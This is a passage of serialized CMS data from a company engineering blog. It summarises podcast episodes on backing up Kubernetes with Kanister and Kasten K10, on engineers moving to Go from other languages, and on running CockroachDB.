taking the pager for it. Platform engineers can never have enough context on how to fix a product feature bug.",[],{"type":396,"text":16125,"spans":16126},"Platform teams can help when there is something fundamentally wrong with the underlying platform, but product teams should have contingencies for outages.",[],"rich_text$d341279e-7764-4400-bb10-e45b9c054416",{"variation":459,"version":460,"items":16129,"primary":16130,"id":16138,"slice_type":479,"slice_label":13},[],{"body":16131},[16132,16134],{"type":465,"text":15393,"spans":16133},[],{"type":396,"text":15396,"spans":16135},[16136],{"start":5023,"end":2542,"type":744,"data":16137},{"link_type":453,"url":15400,"target":456},"rich_text$dbbc3273-22bc-4e7f-9459-01a19b704ceb",{"id":16140,"uid":16141,"url":16142,"type":406,"href":16143,"tags":16144,"first_publication_date":15150,"last_publication_date":16145,"slugs":16146,"linked_documents":16148,"lang":386,"alternate_languages":16149,"data":16150},"alz1OhEAACoAUWiM","ep25-podcast","\u002Fresources\u002Fengineering-blog\u002Fep25-podcast","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1OhEAACoAUWiM%22%29+%5D%5D",[],"2026-09-02T18:55:58+0000",[16147],"ep-25-.tech---backing-up-kubernetes",[],[],{"title":16151,"excerpt":16152,"card_image":16153,"published_date":15952,"reading_time":672,"tag":427,"dek":13,"featured_image":16156,"about_form3":16157,"client_about_heading":13,"client_about_body":16158,"author_name":1277,"author_title":1278,"author_photo":16159,"author_bio":16162,"author_linkedin":16165,"slices":16167,"meta_title":16151,"meta_description":16152},".tech Podcast - Backing up Kubernetes","More and more stateful workloads are moving to Kubernetes. The challenge is that backing up the data and restoring in the event of disaster can be very complex. Michael Cade from Veeam, an expert in data management, takes us through how you can approach solving these issues in Kubernetes with Kanister (an open source tool) and how you can migrate whole clusters to other clouds with Kasten K10.",{"dimensions":16154,"alt":15949,"copyright":13,"url":15950,"id":1265,"edit":16155},{"width":420,"height":420},{"x":17,"y":17,"zoom":18,"background":19},{},[],[],{"dimensions":16160,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":16161},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[16163],{"type":396,"text":1287,"spans":16164},[],{"link_type":453,"key":16166,"url":1291,"target":456},"9527fee1-91d5-4064-970e-33d5ea3d9f2c",[16168,16194,16214,16267,16316],{"variation":459,"version":460,"items":16169,"primary":16170,"id":16193,"slice_type":479,"slice_label":13},[],{"body":16171},[16172,16190],{"type":396,"text":16173,"spans":16174},"Michael Cade from Veeam talks about the importance of data backups according to the 3-2-1 backup rule. Then, he explains the importance of backing up Kubernetes persistent volumes. Kanister is an open source tool that can help with protecting Kubernetes clusters, while the commercial product Kasten K10 provides a management and orchestration layer on top of Kanister.",[16175,16178,16181,16184,16187],{"start":17,"end":1333,"type":744,"data":16176},{"link_type":453,"url":16177},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmichaelcade1\u002F",{"start":905,"end":2532,"type":744,"data":16179},{"link_type":453,"url":16180},"https:\u002F\u002Fwww.veeam.com\u002F",{"start":640,"end":5380,"type":744,"data":16182},{"link_type":453,"url":16183},"https:\u002F\u002Fwww.veeam.com\u002Fblog\u002F321-backup-rule.html",{"start":9494,"end":853,"type":744,"data":16185},{"link_type":453,"url":16186},"https:\u002F\u002Fkanister.io\u002F",{"start":15193,"end":2085,"type":744,"data":16188},{"link_type":453,"url":16189},"https:\u002F\u002Fwww.kasten.io\u002Fproduct\u002F",{"type":396,"text":16191,"spans":16192},"Michael is an expert in data management and backups. Here are some of the key highlights of his discussion about the importance of backups and how to manage them in Kubernetes.",[],"rich_text$0969f320-2a50-4d4e-8c1d-7a60c9b63844",{"variation":459,"version":481,"items":16195,"primary":16196,"id":16213,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":16197,"body":16201,"cta_label":1304,"cta_link":16204,"aside_type":13,"aside_image":16207,"aside_video":16208,"aside_video_poster":16209,"aside_video_reduced_motion":16210,"aside_video_url":13,"aside_embed":16211,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":16212,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[16198],{"type":465,"text":16199,"spans":16200},"Ep 25 .tech - Backing up Kubernetes ",[],[16202],{"type":396,"text":1302,"spans":16203},[],{"link_type":453,"key":16205,"url":16206},"a910f16c-8766-4e75-a856-dfb56c54974a","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-25-tech-backing-up-kubernetes-2UDVhaRn",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$59fbe134-5860-4c28-b31d-6b0c6a7a4ea2",{"variation":459,"version":460,"items":16215,"primary":16216,"id":16266,"slice_type":479,"slice_label":13},[],{"body":16217},[16218,16221,16224,16234,16237,16240,16246,16249,16257,16263],{"type":465,"text":16219,"spans":16220},"Data backups and their importance",[],{"type":396,"text":16222,"spans":16223},"There is never a one button solution to data backups, as there is always a challenge moving large amounts of data. If the data is important to you, then you need to back it up somewhere else.",[],{"type":396,"text":16225,"spans":16226},"After first starting out in virtualisation, Veeam now focus on protection of data. They are massively advocating the 3-2-1 backup rule, regardless of exactly what solution you choose. The 3-2-1 rule states that there should be 3 copies of your data, on 2 different media with 1 copy being offsite.",[16227,16229,16230,16232],{"start":8118,"end":743,"type":744,"data":16228},{"link_type":453,"url":16183},{"start":1431,"end":2427,"type":477},{"start":14392,"end":16231,"type":477},270,{"start":4390,"end":16233,"type":477},296,{"type":396,"text":16235,"spans":16236},"As a concrete example, let’s say a company is running a MySQL database running on AWS. ",[],{"type":1101,"text":16238,"spans":16239},"The database running in one location is considered the first copy of the data. This data is vulnerable to corruption or deletion.",[],{"type":1101,"text":16241,"spans":16242},"You can make Amazon EBS snapshots of the data at set intervals, for example one hour. These copies are durable and can be moved accross different regions. ",[16243],{"start":1403,"end":685,"type":744,"data":16244},{"link_type":453,"url":16245},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAWSEC2\u002Flatest\u002FUserGuide\u002FEBSSnapshots.html",{"type":1101,"text":16247,"spans":16248},"While you could push a copy of the data in another region, customers usually choose to move another copy of the data to a different cloud. Kubernetes is portable and allows us to spin our application in a different cloud.",[],{"type":1101,"text":16250,"spans":16251},"The three copies of your data consist of: the production database, the cloud snapshot, preferably on both EBS and S3 for two media, and one offsite - either in a different region, another cloud provider or even on premises.\n",[16252,16254],{"start":3944,"end":5381,"type":744,"data":16253},{"link_type":453,"url":16245},{"start":2068,"end":1443,"type":744,"data":16255},{"link_type":453,"url":16256},"https:\u002F\u002Faws.amazon.com\u002Fs3\u002F",{"type":396,"text":16258,"spans":16259},"In general, most companies aim to keep serving data in the case of a region failure, but you don’t have to aim for an RTO of 0. These outages are so rare that you might decide not to optimise for immediate rollover when these big outages happen.",[16260],{"start":1535,"end":2069,"type":744,"data":16261},{"link_type":453,"url":16262},"https:\u002F\u002Fwww.veeam.com\u002Fblog\u002Frto-rpo-definitions-values-common-practice.html",{"type":396,"text":16264,"spans":16265},"These principles also apply for personal data. You don’t want to lose all your important files in the case of disk failure, so make sure to back up your data in the cloud!",[],"rich_text$1137fdd3-effd-45af-ab34-5a5dbec760f4",{"variation":459,"version":460,"items":16268,"primary":16269,"id":16315,"slice_type":479,"slice_label":13},[],{"body":16270},[16271,16273,16276,16282,16288,16294,16300,16306,16309,16312],{"type":465,"text":8291,"spans":16272},[],{"type":396,"text":16274,"spans":16275},"A lot of the tech industry are moving to Kubernetes for their container solution.",[],{"type":396,"text":16277,"spans":16278},"Up until recently, there has been a long debate about whether Kubernetes was designed for stateful applications.",[16279],{"start":1524,"end":2475,"type":744,"data":16280},{"link_type":453,"url":16281},"https:\u002F\u002Fblog.kasten.io\u002Fposts\u002Fkubernetes-and-the-rise-of-portable-stateful-applications\u002F",{"type":1101,"text":16283,"spans":16284},"There is some fault tolerance built into Kubernetes with the pod lifecycle, persistent storage still needs to be backed up.",[16285],{"start":3242,"end":1405,"type":744,"data":16286},{"link_type":453,"url":16287},"https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Fworkloads\u002Fpods\u002Fpod-lifecycle\u002F",{"type":1101,"text":16289,"spans":16290},"There are very rarely fully stateless products, so Kubernetes workloads need to be typically backed up.",[16291],{"start":1326,"end":1558,"type":744,"data":16292},{"link_type":453,"url":16293},"https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Fworkloads",{"type":396,"text":16295,"spans":16296},"In Kubernetes, we have StatefulSets which allow us to create a persistent volumes, which can be backed by a storage. Pods connect to this storage, but this data remains as the containers come and go. The storage array that your pods rely on, now needs to be backed up.",[16297],{"start":2532,"end":1372,"type":744,"data":16298},{"link_type":453,"url":16299},"https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Fworkloads\u002Fcontrollers\u002Fstatefulset\u002F",{"type":396,"text":16301,"spans":16302},"One example could be a MongoDB database inside Kubernetes. Some possible solutions of backing up this database could be:",[16303],{"start":2532,"end":2638,"type":744,"data":16304},{"link_type":453,"url":16305},"https:\u002F\u002Fwww.mongodb.com\u002Fkubernetes",{"type":1101,"text":16307,"spans":16308},"We can create a script which copies the file system to an EBS snapshot. We can then write another script to restore this back to MongoDB.",[],{"type":1101,"text":16310,"spans":16311},"However, the method is clunky if your application is using multiple types of database, like a MySQL database alongside MongoDB, for example. The problem of maintaining these scripts just explodes, as we add more databases.",[],{"type":1101,"text":16313,"spans":16314},"Furthermore, these snapshots also create higher loads on the database that we are snapshotting.",[],"rich_text$6bfb9db2-4926-4563-a07a-5d0e615d73ef",{"variation":459,"version":460,"items":16317,"primary":16318,"id":16363,"slice_type":479,"slice_label":13},[],{"body":16319},[16320,16323,16331,16334,16340,16343,16346,16351,16354,16357],{"type":465,"text":16321,"spans":16322},"Kanister & Kasten K10",[],{"type":396,"text":16324,"spans":16325},"Kanister is an open source project that was created by the engineers at Kasten to solve exactly the problem of complicated backup processes.",[16326,16328],{"start":17,"end":4811,"type":744,"data":16327},{"link_type":453,"url":16186},{"start":1729,"end":601,"type":744,"data":16329},{"link_type":453,"url":16330},"https:\u002F\u002Fwww.kasten.io\u002F",{"type":396,"text":16332,"spans":16333},"Kanister is deployed within the Kubernetes cluster that you’re protecting. It works on a simple basis: you choose a blueprint which is aligned to the data service that you’re using.",[],{"type":1101,"text":16335,"spans":16336},"There are ready made blueprints on GitHub for most common usecases.",[16337],{"start":426,"end":580,"type":744,"data":16338},{"link_type":453,"url":16339},"https:\u002F\u002Fgithub.com\u002Fkanisterio\u002Fkanister",{"type":1101,"text":16341,"spans":16342},"The blueprints are the commands that you will leverage to create your backups of your data. It then uses the database native tools to create the backups in a consistent way.",[],{"type":1101,"text":16344,"spans":16345},"You can also write your own blueprint.",[],{"type":396,"text":16347,"spans":16348},"The commercial product that builds on Kanister is Kasten K10 is for those that have outgrown Kanister. This provides snapshotting across clouds, as well as a management and orchestration layer on top of Kanister.",[16349],{"start":598,"end":2103,"type":744,"data":16350},{"link_type":453,"url":16189},{"type":1101,"text":16352,"spans":16353},"Provides 10 free nodes forever for those who want to experiment with it.",[],{"type":396,"text":16355,"spans":16356},"Kasten K10 provides three large aspects: application consistent backup using Kanister, disaster recovery\u002Ffailover to another location and application migration\u002Fdata transformation.",[],{"type":396,"text":16358,"spans":16359},"Kasten also provide a hands on learning platform at learning.kasten.io, where you can walk through the steps of setting up a Kubernetes cluster and experiment with K10.",[16360],{"start":547,"end":7824,"type":744,"data":16361},{"link_type":453,"url":16362},"https:\u002F\u002Flearning.kasten.io\u002F","rich_text$ec226e87-7b8f-46a8-bf7b-751e6dda5f32",{"id":16365,"uid":16366,"url":16367,"type":406,"href":16368,"tags":16369,"first_publication_date":15150,"last_publication_date":16370,"slugs":16371,"linked_documents":16373,"lang":386,"alternate_languages":16374,"data":16375},"alz1OxEAACwAUWiT","ep24-podcast","\u002Fresources\u002Fengineering-blog\u002Fep24-podcast","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1OxEAACwAUWiT%22%29+%5D%5D",[],"2026-09-02T18:56:37+0000",[16372],"ep-24-.tech---moving-to-go",[],[],{"title":16376,"excerpt":16377,"card_image":16378,"published_date":16381,"reading_time":13,"tag":427,"dek":13,"featured_image":16382,"about_form3":16383,"client_about_heading":13,"client_about_body":16384,"author_name":1277,"author_title":1278,"author_photo":16385,"author_bio":16388,"author_linkedin":16391,"slices":16393,"meta_title":16376,"meta_description":16377},".tech Podcast - Moving to Go","Our host Kevin Holditch caught up with three of our engineers to discuss their journeys to coding in Go. At Form3, Go has been the language of choice for building our cloud native platform and with more companies moving to Go the team discuss the advantages and strengths of the language.",{"dimensions":16379,"alt":15949,"copyright":13,"url":15950,"id":1265,"edit":16380},{"width":420,"height":420},{"x":17,"y":17,"zoom":18,"background":19},"2022-01-31",{},[],[],{"dimensions":16386,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":16387},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[16389],{"type":396,"text":1287,"spans":16390},[],{"link_type":453,"key":16392,"url":1291,"target":456},"3e29b72c-db16-481b-aec4-6fbedbb4edab",[16394,16417,16437,16467,16496,16534,16581,16622,16669],{"variation":459,"version":460,"items":16395,"primary":16396,"id":16416,"slice_type":479,"slice_label":13},[],{"body":16397},[16398,16410,16413],{"type":396,"text":16399,"spans":16400},"Three of our engineers Joseph Woodward, Nikolai Vladimirov and Mihai Tiriplică tell their stories about transitioning to writing Go full time. Each of our engineers comes from a different background: .NET\u002FC# , Python and Ruby.",[16401,16404,16407],{"start":2532,"end":844,"type":744,"data":16402},{"link_type":453,"url":16403},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fjoseph-woodward2\u002F",{"start":2040,"end":556,"type":744,"data":16405},{"link_type":453,"url":16406},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fnikolai-plamenov-vladimirov\u002F",{"start":1734,"end":601,"type":744,"data":16408},{"link_type":453,"url":16409},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmihai-tiriplic%C4%83-89961561\u002F",{"type":396,"text":16411,"spans":16412},"The discussion covers a wide variety of language aspects: error handling, strong typing, simplicity, speed & concurrency, building, and dependency management.",[],{"type":396,"text":16414,"spans":16415},"Our engineers compare a wide variety of Go language aspects with their experiences of their previous programming language. Here are some of the key highlights of their discussion.",[],"rich_text$58e3212e-6ff1-4d55-a50c-cce6b03dd52c",{"variation":459,"version":481,"items":16418,"primary":16419,"id":16436,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":16420,"body":16424,"cta_label":1304,"cta_link":16427,"aside_type":13,"aside_image":16430,"aside_video":16431,"aside_video_poster":16432,"aside_video_reduced_motion":16433,"aside_video_url":13,"aside_embed":16434,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":16435,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[16421],{"type":465,"text":16422,"spans":16423},"Ep 24 .tech - Moving to Go ",[],[16425],{"type":396,"text":1302,"spans":16426},[],{"link_type":453,"key":16428,"url":16429},"f91550c6-0ac1-42aa-8b47-18b3ccc2f423","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-24-tech-moving-to-go-PeFXQwcY",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$ba5c7003-0d1b-4aa5-940a-596363de0e03",{"variation":459,"version":460,"items":16438,"primary":16439,"id":16466,"slice_type":479,"slice_label":13},[],{"body":16440},[16441,16444,16451,16460],{"type":465,"text":16442,"spans":16443},"Error handling",[],{"type":396,"text":16445,"spans":16446},"In Go, error handling is explicit and errors are handled as part of normal execution flow.\nWhen first starting out with Go, error checking explicitly using if err != nil seemed cumbersome, but it does provide an improvement in readability in the long run. Code is more often read than written, after all. Go’s explicit error handling, does make the code more verbose, but it makes us consider our error cases at pull request or design phase.",[16447,16450],{"start":1411,"end":706,"type":744,"data":16448},{"link_type":453,"url":16449},"https:\u002F\u002Fgo.dev\u002Fblog\u002Ferror-handling-and-go",{"start":8145,"end":852,"type":780},{"type":396,"text":16452,"spans":16453},".NET uses exceptions for error handling. In particular, .NET has opaque error handling as exceptions do not need to be declared on the function signature, as is required with Java exceptions. This can make it quite difficult to find out where an exception is coming from in production.",[16454,16457],{"start":17,"end":3298,"type":744,"data":16455},{"link_type":453,"url":16456},"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fdotnet\u002Fcsharp\u002Ffundamentals\u002Fexceptions\u002F",{"start":12985,"end":7002,"type":744,"data":16458},{"link_type":453,"url":16459},"https:\u002F\u002Fdocs.oracle.com\u002Fjavase\u002Ftutorial\u002Fessential\u002Fexceptions\u002Fhandling.html",{"type":396,"text":16461,"spans":16462},"Ruby exceptions are typically wrapped, although this is not enforced by the language itself. The custom exceptions are raised in a similar way to C# and Java.",[16463],{"start":17,"end":475,"type":744,"data":16464},{"link_type":453,"url":16465},"https:\u002F\u002Fruby-doc.org\u002Fcore-2.6\u002FException.html","rich_text$1efca528-2aa6-4f8b-96c4-71ed4e438ccf",{"variation":459,"version":460,"items":16468,"primary":16469,"id":16495,"slice_type":479,"slice_label":13},[],{"body":16470},[16471,16474,16480,16486,16489,16492],{"type":465,"text":16472,"spans":16473},"Strong typing",[],{"type":396,"text":16475,"spans":16476},"Go is a strongly typed language, where type checking and enforcement happens on the compiler level.",[16477],{"start":4811,"end":2585,"type":744,"data":16478},{"link_type":453,"url":16479},"https:\u002F\u002Fgo.dev\u002Fref\u002Fspec#Types",{"type":396,"text":16481,"spans":16482},"On the other hand, Python is a dynamically typed language, where type checking only happens at runtime.",[16483],{"start":2585,"end":2638,"type":744,"data":16484},{"link_type":453,"url":16485},"https:\u002F\u002Fwww.python.org\u002Fdoc\u002Fessays\u002Fcomparisons\u002F",{"type":1101,"text":16487,"spans":16488},"Python excels at data handling and transformation problems, where the data types are not always as expected.",[],{"type":1101,"text":16490,"spans":16491},"Strongly typed languages are safer and easier to use in bigger codebases. The typing system helps engineers know what the method is expecting and what values to pass to it to avoid errors.",[],{"type":1101,"text":16493,"spans":16494},"Python engineers sometimes enforce types using tests, which is cumbersome and time consuming.",[],"rich_text$db5327ef-e874-4f38-b075-c6a4f209793b",{"variation":459,"version":460,"items":16497,"primary":16498,"id":16533,"slice_type":479,"slice_label":13},[],{"body":16499},[16500,16503,16509,16515,16518,16521,16527,16530],{"type":465,"text":16501,"spans":16502},"Simplicity",[],{"type":396,"text":16504,"spans":16505},"Go is considered a small language as it has a reduced amount of keywords.\n",[16506],{"start":589,"end":1729,"type":744,"data":16507},{"link_type":453,"url":16508},"https:\u002F\u002Fgo.dev\u002Fref\u002Fspec#Keywords",{"type":396,"text":16510,"spans":16511},"Go’s simple syntax and way of solving problems makes it easy to understand code across codebases and even organisations, such as opensource. The Go toolchain includes gofmt, which ensures that Go code looks the same and is easy to read.",[16512],{"start":6975,"end":5388,"type":744,"data":16513},{"link_type":453,"url":16514},"https:\u002F\u002Fpkg.go.dev\u002Fcmd\u002Fgofmt",{"type":396,"text":16516,"spans":16517},"In contrast with .NET that has a lot of functionality, Go still provides a good balance of abstraction on top of the simple building blocks that it provides.\nDealing with lower level primitives makes it easier to pick up and understand as it does not provide any “magic code” that is so abstracted it is hard to understand.",[],{"type":396,"text":16519,"spans":16520},"Python is very easy to start with, as it’s a very flexible language. The flexibility of Python is a double edge sword as the flexibility makes it difficult to figure out how to actually start implementing a new project. Go does not have these issues, as you can solve problems in a reduced number of ways.",[],{"type":396,"text":16522,"spans":16523},"Ruby leverages the power of metaprogramming, which produces very clear and simple business logic. On the other hand, the code is difficult to understand and appears magic. 🪄",[16524],{"start":2000,"end":6708,"type":744,"data":16525},{"link_type":453,"url":16526},"https:\u002F\u002Fwww.rubyguides.com\u002F2016\u002F04\u002Fmetaprogramming-in-the-wild\u002F",{"type":1101,"text":16528,"spans":16529},"As the project grows, it can become very difficult to debug and trace.",[],{"type":1101,"text":16531,"spans":16532},"Ruby is simple to start with, but requires senior expertise to ensure things don’t go wrong at scale.",[],"rich_text$9e5650bb-5471-47a0-b77a-3258cd288606",{"variation":459,"version":460,"items":16535,"primary":16536,"id":16580,"slice_type":479,"slice_label":13},[],{"body":16537},[16538,16541,16550,16556,16562,16565,16571,16574,16577],{"type":465,"text":16539,"spans":16540},"Speed & concurrency",[],{"type":396,"text":16542,"spans":16543},"One of the main advantages of Go is that it is very fast. It has explicit support for concurrent programming, so synchronisation is native and easy to use with channels and goroutines.",[16544,16547],{"start":2886,"end":1550,"type":744,"data":16545},{"link_type":453,"url":16546},"https:\u002F\u002Fgo.dev\u002Fref\u002Fspec#Channel_types",{"start":2285,"end":2753,"type":744,"data":16548},{"link_type":453,"url":16549},"https:\u002F\u002Fgo.dev\u002Fref\u002Fspec#Go_statements",{"type":396,"text":16551,"spans":16552},".NET uses asynchronous programming with async and await for concurrent execution.\nThis can be quite difficult to read code, as you need to decorate your code with the two keywords and reason about execution order. Furthermore, changing a function to be asynchronous ripples up all the way to the top level.",[16553],{"start":426,"end":599,"type":744,"data":16554},{"link_type":453,"url":16555},"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fdotnet\u002Fcsharp\u002Fprogramming-guide\u002Fconcepts\u002Fasync\u002F",{"type":396,"text":16557,"spans":16558},"Python has a global interpreter lock (GIL) which does not allow you to run on multiple cores. In Python, fan out is achieved with multiple processes. Moving to Go meant that you could reduce your Kubernetes cluster and use of resources by a lot, as you begin to leverage concurrency.",[16559],{"start":1403,"end":773,"type":744,"data":16560},{"link_type":453,"url":16561},"https:\u002F\u002Fwiki.python.org\u002Fmoin\u002FGlobalInterpreterLock",{"type":396,"text":16563,"spans":16564},"Ruby is an interpreted language that runs in a VM. This makes it suffer in terms of performance and concurrency.",[],{"type":1101,"text":16566,"spans":16567},"Running concurrent Ruby is done in the JVM with JRuby.",[16568],{"start":516,"end":3378,"type":744,"data":16569},{"link_type":453,"url":16570},"https:\u002F\u002Fwww.jruby.org\u002F",{"type":1101,"text":16572,"spans":16573},"The Ruby community efforts shifted to running delayed job execution tools, as it was difficult to run things concurrently. There are advanced and easy to use tools to run background jobs.",[],{"type":1101,"text":16575,"spans":16576},"Go’s channels and goroutines are easy to use and remove these problems that Ruby suffers from.",[],{"type":396,"text":16578,"spans":16579},"Finally, our speakers all agree that the compile times in Go are also very quick, giving engineers a quick feedback loop.",[],"rich_text$8a8e4e3a-cecb-4583-bc52-994c49cd7cb3",{"variation":459,"version":460,"items":16582,"primary":16583,"id":16621,"slice_type":479,"slice_label":13},[],{"body":16584},[16585,16588,16594,16603,16609,16612,16615,16618],{"type":465,"text":16586,"spans":16587},"Building",[],{"type":396,"text":16589,"spans":16590},"In Go, building is part of the standard toolchain. Everyone builds their code in the same, standard way. This makes it easier to download and contribute to other projects.",[16591],{"start":2744,"end":476,"type":744,"data":16592},{"link_type":453,"url":16593},"https:\u002F\u002Fgo.dev\u002Fdoc\u002Ftutorial\u002Fcompile-install",{"type":396,"text":16595,"spans":16596},"This is not always the case in other languages. For example, Java has multiple solutions such as Gradle, Ant and more!",[16597,16600],{"start":1512,"end":550,"type":744,"data":16598},{"link_type":453,"url":16599},"https:\u002F\u002Fgradle.org\u002F",{"start":4004,"end":5149,"type":744,"data":16601},{"link_type":453,"url":16602},"https:\u002F\u002Fant.apache.org\u002F",{"type":396,"text":16604,"spans":16605},".NET has MSBuild, which is defined in XML.Projects are not guaranteed to build even though they have one build system.",[16606],{"start":2380,"end":595,"type":744,"data":16607},{"link_type":453,"url":16608},"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fvisualstudio\u002Fmsbuild\u002Fmsbuild?view=vs-2022",{"type":396,"text":16610,"spans":16611},"In Python, most tools are inbuilt, but there are a lot of alternatives too.",[],{"type":1101,"text":16613,"spans":16614},"There are in built test runners, but there are other libraries which can be used as well.",[],{"type":1101,"text":16616,"spans":16617},"Styling and formatting tools are not inbuilt.",[],{"type":396,"text":16619,"spans":16620},"In Ruby, most of packages usually work. However, you do need to match the version of the ruby interpreter and the package version, as a lot of breaking dependencies were introduced. There are tools to manage multiple Ruby versions, but the Go promise of backwards compatibility is safest.",[],"rich_text$9bdcac1b-7b9b-4e09-b4b8-f536b5df5242",{"variation":459,"version":460,"items":16623,"primary":16624,"id":16668,"slice_type":479,"slice_label":13},[],{"body":16625},[16626,16629,16635,16641,16647,16650,16653,16662,16665],{"type":465,"text":16627,"spans":16628},"Dependency management",[],{"type":396,"text":16630,"spans":16631},"Go modules deals with dependency management. Projects define and import modules as their dependencies. The code that you dependent on is pulled into your code.",[16632],{"start":17,"end":426,"type":744,"data":16633},{"link_type":453,"url":16634},"https:\u002F\u002Fgo.dev\u002Fblog\u002Fusing-go-modules",{"type":396,"text":16636,"spans":16637},"In .NET, you import DLLs as your dependencies, making it hard to see the code in your dependencies.\\ Coming from a .NET background, it was a huge game changer to be able to look at the code in your dependencies with ease in Go.",[16638],{"start":3298,"end":1381,"type":744,"data":16639},{"link_type":453,"url":16640},"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Ftroubleshoot\u002Fwindows-client\u002Fdeployment\u002Fdynamic-link-library",{"type":396,"text":16642,"spans":16643},"In Python, the package manager pip manages and installs dependencies.",[16644],{"start":2000,"end":1363,"type":744,"data":16645},{"link_type":453,"url":16646},"https:\u002F\u002Fpypi.org\u002Fproject\u002Fpip\u002F",{"type":1101,"text":16648,"spans":16649},"The big difference is that Go modules only installs dependencies on the project level, whil pip does install them globally leading to version issues.",[],{"type":1101,"text":16651,"spans":16652},"However, the big downside to using the GitHub backed Go modules is that it can be hard to keep track of supported versions, as libraries are being pulled on the fly.",[],{"type":396,"text":16654,"spans":16655},"In Ruby, dependencies are managed with RubyGems and bundler.",[16656,16659],{"start":587,"end":3824,"type":744,"data":16657},{"link_type":453,"url":16658},"https:\u002F\u002Frubygems.org\u002F",{"start":547,"end":2019,"type":744,"data":16660},{"link_type":453,"url":16661},"https:\u002F\u002Fbundler.io\u002F",{"type":1101,"text":16663,"spans":16664},"You can specify versions for development versus prod, as well as what to load with tests.",[],{"type":1101,"text":16666,"spans":16667},"There is support for multiple versions as well.",[],"rich_text$6dfb6795-b148-4c73-8eb4-e89b2f5c6ce9",{"variation":459,"version":460,"items":16670,"primary":16671,"id":16680,"slice_type":479,"slice_label":13},[],{"body":16672},[16673,16675],{"type":465,"text":15393,"spans":16674},[],{"type":396,"text":16676,"spans":16677},"If you enjoyed this episode and would like to be part of the podcast, then please fill in this form and we’ll be in touch. ✍️",[16678],{"start":5023,"end":2542,"type":744,"data":16679},{"link_type":453,"url":15400},"rich_text$f1cdcc5d-a2fc-4c3f-ad6f-6bdf2aff97a4",{"id":16682,"uid":16683,"url":16684,"type":406,"href":16685,"tags":16686,"first_publication_date":16687,"last_publication_date":16688,"slugs":16689,"linked_documents":16691,"lang":386,"alternate_languages":16692,"data":16693},"alz1PREAACwAUWid","ep23-podcast","\u002Fresources\u002Fengineering-blog\u002Fep23-podcast","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1PREAACwAUWid%22%29+%5D%5D",[],"2026-07-19T16:21:50+0000","2026-09-02T18:57:56+0000",[16690],"ep-23-.tech---running-cockroach-db",[],[],{"title":16694,"excerpt":16695,"card_image":16696,"published_date":16699,"reading_time":672,"tag":427,"dek":13,"featured_image":16700,"about_form3":16701,"client_about_heading":13,"client_about_body":16702,"author_name":1277,"author_title":1278,"author_photo":16703,"author_bio":16706,"author_linkedin":16709,"slices":16711,"meta_title":16694,"meta_description":16695},".tech Podcast - Running CockroachDB","Join host Kevin Holditch for a podcast episode on running CockroachDB. Daniel Holt from Cockroach Labs takes us through the different options and which would fit you best.",{"dimensions":16697,"alt":15949,"copyright":13,"url":15950,"id":1265,"edit":16698},{"width":420,"height":420},{"x":17,"y":17,"zoom":18,"background":19},"2022-01-24",{},[],[],{"dimensions":16704,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":16705},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[16707],{"type":396,"text":1287,"spans":16708},[],{"link_type":453,"key":16710,"url":1291,"target":456},"e5046bfa-e2fd-434c-9fb0-12ac5a7b1c4b",[16712,16728,16748,16793],{"variation":459,"version":460,"items":16713,"primary":16714,"id":16727,"slice_type":479,"slice_label":13},[],{"body":16715},[16716,16724],{"type":396,"text":16717,"spans":16718},"There are three ways of running CockroachDB: self-hosted, CockroachDB Cloud and CockroachDB serverless.\nDaniel Holt discusses the pros and cons of each on the .tech podcast hosted by Form3’s Kevin Holditch.",[16719,16722],{"start":1531,"end":3247,"type":744,"data":16720},{"link_type":453,"url":16721},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fdaniel-holt-a6b61639\u002F",{"start":2391,"end":11765,"type":744,"data":16723},{"link_type":453,"url":6957},{"type":396,"text":16725,"spans":16726},"Daniel goes through some common use cases and how CockroachDB can help you implement them.\nHere are some key highlights of this 